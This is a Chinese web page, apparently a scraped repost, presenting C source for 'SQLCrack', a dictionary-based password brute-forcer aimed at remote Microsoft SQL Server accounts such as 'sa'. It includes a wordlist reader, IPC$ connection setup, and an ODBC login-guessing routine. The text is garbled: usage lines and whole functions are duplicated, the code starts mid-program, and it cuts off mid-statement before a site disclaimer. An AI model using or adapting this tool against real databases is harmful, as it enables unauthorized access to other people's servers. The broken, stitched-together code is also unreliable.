黑客是如何破解MSSQLSERCVER密码的
Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
"
Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50
");
return;
}
//
//函数:ReadDic
//功能:从字典文件里
" Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉" " Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50 "); return; } // //函数:ReadDic //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码 //说明:函数运行失败返回值1,成功返回0 // int ReadDic(char *dic) { FILE *fp; char tmp[40]; //打开字典文件 if((fp=fopen(dic,"r"))==NULL) { printf(" Can't open %s",dic); return 1; } while(!feof(fp)) { //读取数据到临时变量 if(fgets(tmp,40,fp)==NULL) break; //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了 strncpy(dict[total],tmp,strlen(tmp)-1); total++; //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环 //不然就会溢出啦.可以自行调准 if(total〉=20000) break; } fclose(fp); return 0; } // //函数:ConnIPC //功能:建立IPC连接 //说明:连接失败返回值1,成功返回值0 // int ConnIPC(char *RemoteName) { NETRESOURCE nr; DWORD flags=CONNECT_UPDATE_PROFILE; TCHAR RN[30]="\\", LN[5]=""; strcat(RN,RemoteName); strcat(RN,"\ipc$"); //填充数据结构 nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=(LPTSTR)&LN; nr.lpRemoteName=(LPTSTR)&RN; nr.lpProvider=NULL; if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR) { return 0; } else { return 1; } } // //函数:DelIPC //功能:断开IPC Session //说明:成功返回值0,否则返回1 // int DelIPC(char *RemoteName) { DWORD ret; TCHAR lpName[30]="\\"; strcat(lpName,RemoteName); strcat(lpName,"\ipc$"); ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); if(ret==NO_ERROR) { return 0; } else { return 1; } } // //函数SQLCheck //功能:尝试用不同密码连接SQL Servermssql密码,探测出正确的密码 // DWORD WINAPI SQLCheck(PVOID pPwd) { //定义局部变量 char szBuffer[1025]; char *pwd; SWORD swStrLen; SQLHDBC hdbc; SQLHANDLE henv; SQLRETURN retcode;//ODBC API运行返回值 SCHAR ConnStr[200];//连接数据库字符串 //取得传递过来准备探测的密码 pwd=(char *)pPwd; //构造连接数据库字符 strcpy(ConnStr,"DRIVER={SQL Server};SERVER="); strcat(ConnStr,target); strcat(ConnStr,";UID="); strcat(ConnStr,UserName); strcat(ConnStr,";PWD="); strcat(ConnStr,pwd); strcat(ConnStr,";DATABASE=master"); //puts(ConnStr); //创建数据库应用的环境句柄 if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) { printf(" Allocate environment handle failed. "); return 0; } //printf("henv.."); //设置ODBC版本环境 if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { printf(" Set the ODBC version environment attribute failed. "); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //printf("ODBC ver.."); //创建连接句柄 if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR *)&hdbc)) != SQL_SUCCESS) { printf(" Allocate connection handle failed. "); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //printf("hdbc.."); //连接数据源 retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), szBuffer,sizeof(szBuffer),&swStrLen, SQL_DRIVER_COMPLETE_REQUIRED); //printf("conn.."); if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO) { //连接失败,函数终止 //printf(" Couldn't connect to %s MSSQL server. ",target); SQLFreeHandle(SQL_HANDLE_DBC, hdbc); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //连接远程MSSQL Server数据库成功 Cracked=TRUE; strcpy(passwd,pwd); //puts(szBuffer); //显示连接远程数据库的字符串 //断开连接 SQLDisconnect(hdbc); //printf("disconn.."); //释放连接句柄 SQLFreeHandle(SQL_HANDLE_DBC, hdbc); //printf("free hdbc.."); //释放环境句柄 SQLFreeHandle(SQL_HANDLE_ENV, henv); //printf("free henv.. "); return 0; } // //函数:DelIPC //功能:断开IPC Session //说明:成功返回值0,否则返回1 // int DelIPC(char *RemoteName) { DWORD ret; TCHAR lpName[30]="\\"; strcat(lpName,RemoteName); strcat(lpName,"\ipc$"); ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); if(ret==NO_ERROR) { return 0; } else { return 1; } } // //函数SQLCheck //功能:尝试用不同密码连接SQL Server,探测出正确的密码 // DWORD WINAPI SQLCheck(PVOID pPwd) { //定义局部变量 char szBuffer[1025]; char *pwd; SWORD swStrLen; SQLHDBC hdbc; SQLHANDLE henv; SQLRETURN retcode;//ODBC API运行返回值 SCHAR ConnStr[200];//连接数据库字符串 //取得传递过来准备探测的密码 pwd=(char *)pPwd; //构造连接数据库字符 strcpy(ConnStr,"DRIVER={SQL Server};SERVER="); strcat(ConnStr,target); strcat(ConnStr,";UID="); strcat(ConnStr,UserName); strcat(ConnStr,";PWD="); strcat(ConnStr,pwd); strcat(ConnStr,";DATABASE=master"); //puts(ConnStr); //创建数据库应用的环境句柄 if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) { printf(" Allocate environment handle failed. "); return 0; } //printf("henv.."); //设置ODBC版本环境 if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { printf(" Set the ODBC version environment attribute failed. "); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //printf("ODBC ver.."); //创建连接句柄 if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR *)&hdbc)) != SQL_SUCCESS) { printf(" Allocate connection handle failed. "); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //printf("hdbc.."); //连接数据源 retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), szBuffer,sizeof(szBuffer),& (编辑:92站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |